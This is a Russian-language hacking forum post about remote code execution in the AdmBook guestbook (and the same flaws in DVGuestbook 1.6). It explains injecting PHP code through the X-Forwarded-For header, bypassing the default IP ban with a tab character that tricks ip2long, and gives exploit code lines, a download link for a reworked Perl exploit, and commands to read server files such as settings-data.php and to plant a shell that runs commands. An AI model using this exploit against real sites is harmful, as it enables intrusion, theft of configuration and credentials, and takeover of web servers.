![]() |
Исполнение произвольного кода в AdmBook<=1.2.2
1. Описание уязвимости.
Собственно, уязвимость достаточно уже древняя. Написано о ней вот здесь, например: http://secunia.com/advisories/18930 Рабочий эксплоит можно утянуть отсюда: http://www.milw0rm.com/exploits/1512 Одна проблема - уязвимость не юзается, когда в файле banned-ip-data.php присутствует значение -1. А это значение по умолчанию для данного файла. Мне удалось обойти указанное ограничение. Рассмотрим подробно суть уязвимости. Добавление сообщений в гостевую книгу осуществляется посредством скрипта write.php, а сама база сообщений хранится в файле content-data.php. Так, когда пользователь добавляет сообщение, в файле content-data.php появляются следующие строчки: Код:
$content[0]['ip'] = "127.0.0.1";Код:
$ip = getenv("HTTP_X_FORWARDED_FOR");Код:
$checkIp = checkBannedIp($ip, $login, $password);Код:
include($bannedData);либо -1, если переданный нами HTTP_X_FORWARDED_FOR не является ip-адресом. Другими словами значение -1 в файле banned-ip-data.php банит сразу все значения не являющиеся ip-адресами. Получается, что когда -1 в файле banned-ip-data.php отсутствует, мы можем передавать в поле HTTP_X_FORWARDED_FOR произвольный код, когда -1 присутствует, ну да, лесом... Обойти это можно, пользуясь уязвимостью в функции ip2long: http://securityvulns.ru/Ndocument693.html Т.е. перед произвольным кодом в поле HTTP_X_FORWARDED_FOR, нам придется добавить, например, chr(9), тогда ip2long вернет валидное и отличное от -1 значение. Применительно к типовому эксплоиту, это будет выглядеть так: Код:
print $sock "X-Forwarded-For: GUESS_WHAT:".$SHELL."\r\n";Код:
print $sock "X-Forwarded-For: 1.1.1.1".chr(9)."GUESS_WHAT:".$SHELL."\r\n";http://www.itsme7.pochta.ru/admbook.pl 2. Использование уязвимости. В общем, эксплоит я слегка доработал, добавив парочку полезных функций. Теперь, при запуске нужно указывать ещё OPERATION_MODE (режим выполнения). Значение OPERATION_MODE равное 0 выполняет phpinfo(), 1 позволяет просматривать произвольные файлы на сервере, а любое другое цифровое значение загружает шелл. Шелл загружается так: Код:
perl admbook_122_xpl.pl 998 localhost /admbook/ ls -alКод:
perl admbook_122_xpl.pl 1 localhost /admbook/ settings-data.phpКод:
perl admbook_122_xpl.pl 0 localhost /admbook/ |
Узнал, что данная гостевуха успешно существует также под именем DVGuestbook 1.6. Кто у кого сырцы стибрил - хз, но уязвимости там те же, что и в AdmBook.
|
| Время: 12:00 |